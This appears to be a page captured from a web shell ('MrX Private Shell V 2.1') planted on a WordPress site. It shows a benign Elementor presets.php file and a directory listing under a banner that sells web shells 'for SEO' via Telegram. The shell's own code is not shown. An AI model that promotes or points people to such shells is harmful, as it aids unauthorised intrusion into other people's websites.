__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Elementor\Modules\Interactions;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Presets {
const DEFAULT_DURATION = 600;
const DEFAULT_DELAY = 0;
const DEFAULT_SLIDE_DISTANCE = 100;
const DEFAULT_SCALE_START = 0;
const DEFAULT_RELATIVE_TO = 'viewport';
const DEFAULT_END = 15;
const DEFAULT_START = 85;
const BASE_TRIGGERS = [ 'load', 'scrollIn' ];
const ADDITIONAL_TRIGGERS = [ 'scrollOut', 'scrollOn', 'hover', 'click' ];
const DEFAULT_EASING = 'easeIn';
const BASE_EFFECTS = [ 'fade', 'slide', 'scale' ];
const ADDITIONAL_EFFECTS = [ 'custom' ];
const TYPES = [ 'in', 'out' ];
const DIRECTIONS = [ 'left', 'right', 'top', 'bottom', '' ];
const BASE_EASING = [ 'easeIn' ];
const ADDITIONAL_EASING = [ 'easeOut', 'easeInOut', 'backIn', 'backInOut', 'backOut', 'linear' ];
const DEFAULT_REPEAT = '';
const REPEAT_OPTIONS = [ 'loop', 'times', '' ];
public static function easing_options() {
return array_merge( self::BASE_EASING, self::ADDITIONAL_EASING );
}
public static function effects_options() {
return array_merge( self::BASE_EFFECTS, self::ADDITIONAL_EFFECTS );
}
public static function triggers_options() {
return array_merge( self::BASE_TRIGGERS, self::ADDITIONAL_TRIGGERS );
}
public function defaults() {
return [
'defaultDuration' => self::DEFAULT_DURATION,
'defaultDelay' => self::DEFAULT_DELAY,
'slideDistance' => self::DEFAULT_SLIDE_DISTANCE,
'scaleStart' => self::DEFAULT_SCALE_START,
'defaultEasing' => self::DEFAULT_EASING,
'relativeTo' => self::DEFAULT_RELATIVE_TO,
'repeat' => self::DEFAULT_REPEAT,
'start' => self::DEFAULT_START,
'end' => self::DEFAULT_END,
];
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| props | Folder | 0775 |
|
|
| schema | Folder | 0775 |
|
|
| validators | Folder | 0775 |
|
|
| interactions-collector.php | File | 1.63 KB | 0775 |
|
| interactions-frontend-handler.php | File | 6.62 KB | 0775 |
|
| module.php | File | 5.2 KB | 0775 |
|
| parser.php | File | 2.71 KB | 0775 |
|
| presets.php | File | 1.67 KB | 0775 |
|
| validation.php | File | 11.01 KB | 0775 |
|